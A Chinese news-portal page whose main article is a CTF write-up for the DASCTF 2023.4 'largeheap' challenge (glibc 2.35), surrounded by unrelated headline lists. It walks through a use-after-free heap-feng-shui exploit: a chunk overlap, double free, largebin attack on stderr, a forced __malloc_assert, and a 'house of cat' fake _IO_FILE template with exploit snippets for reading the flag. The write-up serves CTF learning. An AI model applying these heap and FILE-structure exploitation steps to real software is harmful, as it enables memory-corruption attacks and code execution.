最新要闻
- 天天热头条丨win10更改默认浏览器失败_win10更改默认浏览器
- 天涯死了!死在越来越功利的互联网手上
- 锐龙6900HX仅3399元!华硕联名迷你主机发布:支持DDR5 双USB 4
- 8核Zen4+最强核显 AOKZOE掌机众筹:2TB版干到8000元以上
- 各家都在卷的Mini主机 到底是想赚谁口袋里的钱? 今日讯
- 世界视点!45颗北斗卫星在轨 我国境内支持北斗的智能手机超3亿部
- 莎琪丽/sakinre是哪个国家的品牌_什么档次怎么样
- 高洲原酒和李庄酒哪个好_高洲原酒-环球快消息
- 图解西子洁能一季报:第一季度单季净利润同比减38.88%
- 天祝县开展“五一”节前民生保障和假期安全生产督导检查
- 环球新消息丨五一长假已开启 网友对调休不满 专家称调休式放假更包容更弹性
- 富士X-T5等四款相机发布最新固件:提升拍摄稳定性
- 宋慧乔凭《黑暗荣耀》获百想视后:我得奖了妍珍呐! 环球消息
- 每日短讯:在rt三角形abc中角c等于90度ac等于3bc等于4 在rt三角形abc中角c等于90度
- 热点在线丨广州成立青年创新创业税务服务工作站,减轻双创青年办税缴费负担
- 睡觉前千万别做这件事!伤身又伤心 你肯定“中枪”过
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
【世界报资讯】Unsorted_bin_UAF
Unsorted_bin_UAF
dasctf2023.4的largeheap,libc2.35,保护全开。通过这题记录下纯unsortedbin风水实现堆混淆。
(资料图片)
官方WP:
largeheap的解题思路
逆向分析
首先打开IDA发现main函数主要提供了三个功能,分别是add、edit和delete功能。我们分别看一下这三个功能提供的操作。
add
可以发现add函数实现了申请队块的功能,限制的大小是0x418~0x468,并且最多可以申请15个堆块。
delete
delete函数主要功能就是释放堆块,存在很明显的UAF漏洞。
edit
edit函数主要提供了两个功能,一个是有一次机会修改堆块中的内容,还有一个功能是向堆块中的指针加上一个偏移指向的地址中写入一个零字节。
漏洞利用
程序的漏洞十分的明显,就是一个明显的UAF漏洞。程序没有可以退出的地方,并且申请的堆块大小都是处于largebin大小的堆块。因此我们采用的思路就是largebin attack攻击malloc_assert,从而劫持程序流程。利用流程如下:首先我们申请一个堆块让其进入到unsortedbin中,之后我们利用edit函数的功能向IO_read_end和IO_write_base的倒数第二个字节写入"\x00",这样在之后调用puts函数的时候就会泄露大量的数据,其中包含了堆地址和libc地址。这样我们就完成了泄露功能。由于我们只有一次修改堆块内容的机会,因此我们需要通过堆风水进行largebin attack攻击的同时进行topchunk size的修改。这样我们在触发largebin attack的时候也会进行malloc assert的调用,之后我们通过劫持malloc assert来进行orw即可。
实现这种操作的堆风水布局相对来说比较的困难,我们通过相邻的unsortedbin堆块合并的特点,以及UAF时留下的悬浮指针来对堆块不断地进行操作,并对残留的堆块指针的size进行修改。从而使得largebin堆块的指针和topchunk size相邻很近,最后达到可以在修改largebin堆块的指针的同时,修改掉topchunk size,从而触发malloc assert,实现orw的劫持。具体过程如下:
首先我们申请四个堆块,大小分别是0x440、0x430、0x450、0x468,编号依次为1、2、3、4,其中我们在0x440的堆块上布置好我们需要劫持IO的payload,在后面的过程中我们需要通过largebin attack将0x440的堆块地址写入stderr,从而在malloc assert的时候实现劫持。此时堆块布局如下:
然后我们释放掉中间的堆块1和2,使中间的堆块合并,之后我们申请大一点的堆块,大小为0x460,编号为4号堆块,修改原先2号堆块的标志位,便于后续double free。之后将unsortedbin中的堆块全部申请出来,大小为0x420,编号为6号堆块,目的也是为了绕过后面的double free。此时堆块布局如下:
然后我们对2号堆块进行double free后再次将2号堆块申请回来,由于堆块重叠,我们可以修改5号堆块的指针的size为0xd10。再次释放掉2号对块,使其进入unsortedbin中开始进行largebin attack。之后从topchunk申请一个大队块,使2号对块进入largebin的同时,与前面修改的0xd10的大堆块对齐,此时5号堆块的大小变为了0xd10,为后续释放从而与topchunk合并作准备。此时堆块布局如下:
然后我们开始进行largebin attack的攻击。释放掉0号堆块使其进入unsortedbin中,然后释放0xd10的5号堆块,使其与topchunk合并,这样topchunk的size上移,我们在修改2号对块的时候就能够同时修改到topchunk的size,从而通过一次修改触发malloc assert的利用。此时堆块布局如下:
之后利用edit同时修改对块内容和topchunk的size,再次申请一个大堆块即可同时实现malloc assert的触发和向stderr中写入堆块地址。从而实现IO的劫持,触发布置好的payload,实现orw读取flag内容。
从此开始:
官方wp甚至不给exp,edit函数图片不截上面奇怪的检测随机值,只能说春秋笔法确实到位
check里大概就是造了个随机值然后printf打印出来,紧接着又要你把刚刚打印的随机值输回去检验是否相等,不相等就没法执行edit下面的操作。。。这个意义不明随机值倒是还好,但是printf就多少沾点了。。。由于漏洞给的泄露是往堆的fd指针附近写一个\x00 1字节,能写两次,我一开始就联想是修改IO stdout,结果试了半天都不行。他wp里说的向IO_read_end和IO_write_base的倒数第二个字节写入"\x00",可问题是,如果这个随机值检测在的话,一定会有printf,而用他这个功能改完第一次IO_read_end或者IO_write_base,等到下一次准备edit的时候,会执行随机值检测里的printf,由于第一次的修改,IO_read_end和IO_write_base此时不相等,导致printf无法正常打印随机值,从而完全无法同时修改IO_read_end和IO_write_base完成泄露。。。
IO_2_1_stdout
https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_18
printf
,fwrite
,puts
等输出走IO
指针(write
不走)。
为了做到任意读,满足如下条件,即可进行利用:(1) 设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
;(2) 设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
;(3) 设置_fileno
为1
;(4) 设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址;(5) 设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。
_flag
的构造需满足的条件:
_flags = 0xfbad0000 _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
此外,_flags
也可再加一些其他无关紧要的部分,如设置为0xfbad1887
,0xfbad1880
,0xfbad3887
等等。
unsorted bin UAF
适用于能频繁造出unsorted bin大小的size,比如size大于tcache可存放的最大size,从而每次free都是先放进unsortedbin。
当然让tcache填满再来用这种方法也行,不过相应free次数也多不少,或者打tcache struct后直接把tcache count改满。
首先,创造四个堆,0:0x440,1:0x430,2:0x450,3:0x468
add(0,0x440,pl) add(1,0x430) add(2,0x450) add(3,0x468)
free 1 和 2 堆后,让两个不同size的堆融合成大的unsorted bin
free(1) free(2)
此时通过再次申请0x460,标号为4(一般比小的堆块大一些,保证能覆盖控制原本0x450的堆块的size或者fd等),切割刚刚融合成的大unsortedbin,这时能修改原本0x450堆的pre_inuse位,将其改为0x461。紧接着再把切割剩余的0x420大小的unsorted bin拿出来,标号为5。
add(4,0x460,0x430*"a"+p64(0)+p64(0x461)) add(5,0x420)
此时由于UAF,即可再次free 2 堆,实现对2 堆的 double free。此时申请2堆对应的size 0x450,即可把2堆重新拿出,并往里面写入内容,由于5 堆的存在,2堆写的内容正好能覆盖到5堆的prev_size和size,将5堆从原本的0x430 size改为0xd11,prev_size填为0x470,保证能正常free。
free(2)add(6,0x450,p64(0)*4+p64(0x470)+p64(0xd11))
这时候再free 2堆,并申请一个更大堆块,触发consolidate让2堆进入largebin为attack做准备。
free(2) add(7,0x468)
此时free 0堆,让0堆进入unsortedbin,等待下一次consolidate进入largebin完成attack。由于之前改过5堆的size,此时free 5堆即可让topchunk与5堆重合,5堆的size变为topchunk的size。由于我们仅有一次正常edit机会,此时可以edit 2堆,让其修改自身的fd,bk,fd_nextsize,bk_nextsize,为largebin attack做好准备,同时由于2堆与5堆重叠,我们还可以就此更改5堆(此时是topchunk)的size,以此来触发__malloc_assert。
free(0) free(5) edit1(2,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1ce0)+p64(stderr)+p64(0)+p64(0x200))
最后,通过申请较大的堆,触发largebin attack的同时,完成对__malloc_assert的触发
add(8,0x468)
后续我用的是house of cat的一个调用链,通过__malloc_assert的fxprintf触发,vtable=IO_wfile_jumps+0x10,这样实际call的时候就是_IO_wfile_seekoff->_IO_switch_to_wget_mode
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。2.将新赋值的[rax1+0x20]处的内容赋值给rdx。3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。4.call调用[rax2+0x18]处的内容。
fake_IO结构体需要绕过的检测
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_basefp->_lock是一个可写地址(堆地址、libc中的可写地址)
house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)
fake_io_addr=heap_base+0x1450 # 伪造的fake_IO结构体的地址next_chain = 0#_flags=rdi (fake_io head is chunk"s pre_size)fake_IO_FILE=p64(0)*6 fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)fake_IO_FILE +=p64(fake_io_addr+0x10+0x108+8)#_IO_backup_base=rdxfake_IO_FILE +=p64(setcontext)#_IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, "\x00")fake_IO_FILE += p64(0) # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, "\x00")fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, "\x00")fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, "\x00")fake_IO_FILE += p64(1) #mode=1fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, "\x00")fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_5
__malloc_assert以及相关思考
__malloc_assert代码如下
static void__malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){ (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s" failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort ();}
house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个
1.topchunk的大小小于MINSIZE(0X20)2.prev inuse位为03.old_top页未对齐
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
然而触发之后,利用_malloc_assert的哪一块也是更为关键的,因为该函数里面的另外两个函数 _fxprintf和fflush (stderr)都是对stderr进行操作,这两个函数都能触发IO相关虚标指针。
fflush (stderr)
可以看到,在malloc.c
中,assert
断言失败,最终都会调用__malloc_assert
,而其中有一个fflush (stderr)
的函数调用,会走stderr
的IO_FILE
,最终会调用到其vtable
中_IO_file_jumps
中的__IO_file_sync
,此时rdx
为IO_helper_jumps
。
fxprintf
值得一提的是,在house of KiWi
调用链中,在调用到__IO_file_sync
之前,在__vfprintf_internal
中也会调用IO_FILE
虚表中的函数,会调用[vtable] + 0x38
的函数,即_IO_new_file_xsputn
,因此我们可以通过改IO_FILE
中vtable
的值,根据偏移来调用其他虚表中的任意函数。
利用house of KiWi
配合house of emma
的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write)
,这里用的是_IO_cookie_write
函数,用其他的当然也同理。
stderr
由于stderr其实是个存在于libc里的指针,其实也能被largebin attack一把梭改了,然后就等同于fflush(fake_IO)了,stderr可以直接用pwntools找
关键词:
-
【世界报资讯】Unsorted_bin_UAF
Unsorted_bin_UAFdasctf2023 4的largeheap,libc2 35,保护全开。通过这题记录下纯unsortedbin风水实现堆混
来源: -
最新资讯:gin自定义中间件解决requestBody不可重复读问题
先直接上代码r:=gin Default() 注册中间件,使body可以重复读取r Use(func(context*gin Context){all,err:=contex
来源: 【世界报资讯】Unsorted_bin_UAF
最新资讯:gin自定义中间件解决requestBody不可重复读问题
天天热头条丨win10更改默认浏览器失败_win10更改默认浏览器
天涯死了!死在越来越功利的互联网手上
锐龙6900HX仅3399元!华硕联名迷你主机发布:支持DDR5 双USB 4
8核Zen4+最强核显 AOKZOE掌机众筹:2TB版干到8000元以上
各家都在卷的Mini主机 到底是想赚谁口袋里的钱? 今日讯
世界视点!45颗北斗卫星在轨 我国境内支持北斗的智能手机超3亿部
莎琪丽/sakinre是哪个国家的品牌_什么档次怎么样
高洲原酒和李庄酒哪个好_高洲原酒-环球快消息
图解西子洁能一季报:第一季度单季净利润同比减38.88%
天祝县开展“五一”节前民生保障和假期安全生产督导检查
环球新消息丨五一长假已开启 网友对调休不满 专家称调休式放假更包容更弹性
富士X-T5等四款相机发布最新固件:提升拍摄稳定性
宋慧乔凭《黑暗荣耀》获百想视后:我得奖了妍珍呐! 环球消息
每日短讯:在rt三角形abc中角c等于90度ac等于3bc等于4 在rt三角形abc中角c等于90度
【性能】JDK和Jmeter的安装与配置|每日热门
【金融街发布】央行推重磅新规 “北向互换通” 即日起施行
热点在线丨广州成立青年创新创业税务服务工作站,减轻双创青年办税缴费负担
睡觉前千万别做这件事!伤身又伤心 你肯定“中枪”过
欧媒:金砖国家重塑全球政经秩序|世界要闻
中国进出口银行绿色信贷余额超4500亿元_世界今亮点
《圣斗士星矢》真人电影抢先看:星矢大战不死鸟一辉!特效华丽
热点聚焦:白菜价LCD且买且珍惜 面板一哥京东方Q1利润暴跌94%:价格已开始反弹
油价居高不下!中石油、石化、海油三桶油赚大:一季度轻松几百亿 当前讯息
天天快讯:探寻历史文脉 守护城市记忆
中信建投国家电投新能源REIT公告原始权益人增持 彰显新能源REIT市场长期投资价值 环球资讯
全球快看点丨佛山机器人产业链如何借势优化?数智化、资本化构建千亿级产业“新赛道”
网红日式甜品零食 上行斋生巧福团1.45元/枚发车
天天微动态丨每天烧掉4300万!无人驾驶出租车巨头摊牌:最多再撑一年
焦点观察:杭州女子遇“串串刺客”:吐槽6片菜叶6块钱
太卷了!四川烧烤虫草火了 还有牦牛刺身:网友直呼太硬核|环球热议
氯化钡和碳酸钠反应(碳酸钠与氯化钙反应的化学方程式)
紧身皮裙 透视look 30+的女人原来这么敢穿
今热点:门票、火车票一抢而空!这假期注定人潮汹涌
官方明确了!广州不鼓励发展共享电动自行车
当前视讯!61岁京东快递员退休 退休金每月3000+ 同行羡慕
10999元!海尔发布混动热水器:可燃气可纯电 3种加热模式
精神阿根廷人哭泣 《星战幸存者》游戏1.9元bug价没了
凯度电器亮相AWE:解锁高端厨房,创造美好厨居生活-环球热门
天天热推荐:OAuthApp v2.4.28 | 前端发布工具 | Azuer OpenAI、SSL 证书工具
环球通讯!开心档之MySQL 导出数据
焦点简讯:MQTT-QoS与协议流程
H7-TOOL的CANFD Trace全解析功能制作完成,历时一个月(2023-04-28) 今日看点
12 Linux的伙伴系统和SLAB分配器
吉林省一季度末绿色贷款余额同比增长28.3%|环球新动态
【新华财经调查】辽沈银行去年置换257亿高息存款 历史包袱仍致29亿亏损
每日快讯!大明国际(01090):公众持股量约为20.71% 低于上市规则规定的最低规定百分比
抗菌透气!蝶安芬四角裤3条39.9元大促
每日看点!歼20看爽!国产航空大片《长空之王》今日上映:严查偷漏瞒报票房
曾致人死亡 印度再发生火车撞牛事故:工作人员现场拆车头
被老人故意推倒摩托车主终获赔偿:强制执行划扣16704元 环球速递
淄博大哥免费接送游客被塞钱 网友:双向奔赴-每日消息
世界百事通!刚刚!美光宣布:不降价!
软件开发所有文档合集下载 全球今亮点
最新资讯:题目 3158: 蓝桥杯2023年第十四届省赛真题-三国游戏(贪心)
美团一面:如何实现一个100W ops 生产者消费者程序?
银河麒麟V10系统安装Redis|环球观点
vue3 + ts + vite 封装 request 每日热议
焦点关注:商品日报(4月28日):黑色系疲软焦煤大跌近4% 红枣收涨近4%
国家外汇管理局:1-3月,中国外汇市场累计成交60.15万亿元|天天快资讯
每日速讯:iPhone 15系列换USB-C接口了!快充感人
环球即时:出城大片上演:多地道路拥堵
天天热头条丨手机销量大增41%!华为王者归来:一季度营收1321亿 涨了
密集落下!实拍北京多地突降冰雹:黑云压城
顶流“花花”提前休五一 保安大叔:和叶在值班
火车软卧是什么样子的(火车软卧)
用 ChatGPT 写代码,效率杠杠的! 实时
一文看懂低代码,5分钟从入门到原理全搞定 环球热文
论并行,并发,同步,异步之间的联系与区别-天天实时
【环球速看料】柞水终南山寨一日游攻略(终南山寨在什么地方)
中信建投国家电投新能源REIT获原始权益人增持3200万份
天天快资讯丨【财经分析】IPv6如何从“能用”转向“好用”“爱用”?
不靠氪金 价格卷死同行:逆水寒手游开启二测多次冲上热搜:预约超3000万
好友田启文爆料周星驰或将于65岁重返大银幕!自导自演、阵容空前-短讯
抗衡奔驰E级 全新宝马5系无伪谍照首曝:大鸡腿档杆成历史
比马斯克的猎鹰还强10倍?俄罗斯自研火箭将可重复使用100次 天天热点
蔚来起诉抖音大V造谣侵权:索赔200万
环球观点:中科氢量平通仪好不好(中科氢量平通仪)
python的绘图工具matplotlib.pyplot-环球报资讯
App Store上架流程/苹果app发布流程 全球快播
当AI遇上AD,腾讯信息流广告行业的智能化营销前景如何?-世界通讯
环球观速讯丨“3nm EUV”工艺稳了 Intel明年上半年出货144核至强处理器:超越Zen4
明天五一!滴滴副总裁李敏:今晚高峰打车不容易 成功率可能不足50%|全球新动态
成都一民宿推出“36元睡客厅躺椅”服务:已被预订一空
环球百事通!100%纯棉!雅鹿男士背心2件只要29元
1L体积塞进电源!联想小新mini主机开启预售:3699元起
轻松脱眉毛下垂的方法是什么
二分查找算法讲解及其C++代码实现 天天聚看点
世界今日报丨相亲成功率100%!技术大佬都在用的SWOT模型【No.3】
当前播报:generate什么意思_generate是什么意思呢
全球关注:特斯拉:不要相信马斯克对自动驾驶的宣传、可能是假的
5月26上映!《小美人鱼》女主全球爆火 黑小美人鱼晒新海报原来这么美? 最新消息
锦州师范学院地址在哪里 锦州师范学院
这两个重载方法,你怎么重构?
民航今天预计发送旅客208万人次
ChatGPT成必备技能!超九成企业想雇佣了解ChatGPT的员工
【全球播资讯】性能提升36%!Surface Laptop 5评测:Windows阵营最精致优雅的轻薄本
搭载全新12代i3八核处理器轻薄本仅2999元!攀升笔记本超级秒杀
手机摆动跳广告判了!大学生起诉美图秀秀获赔1元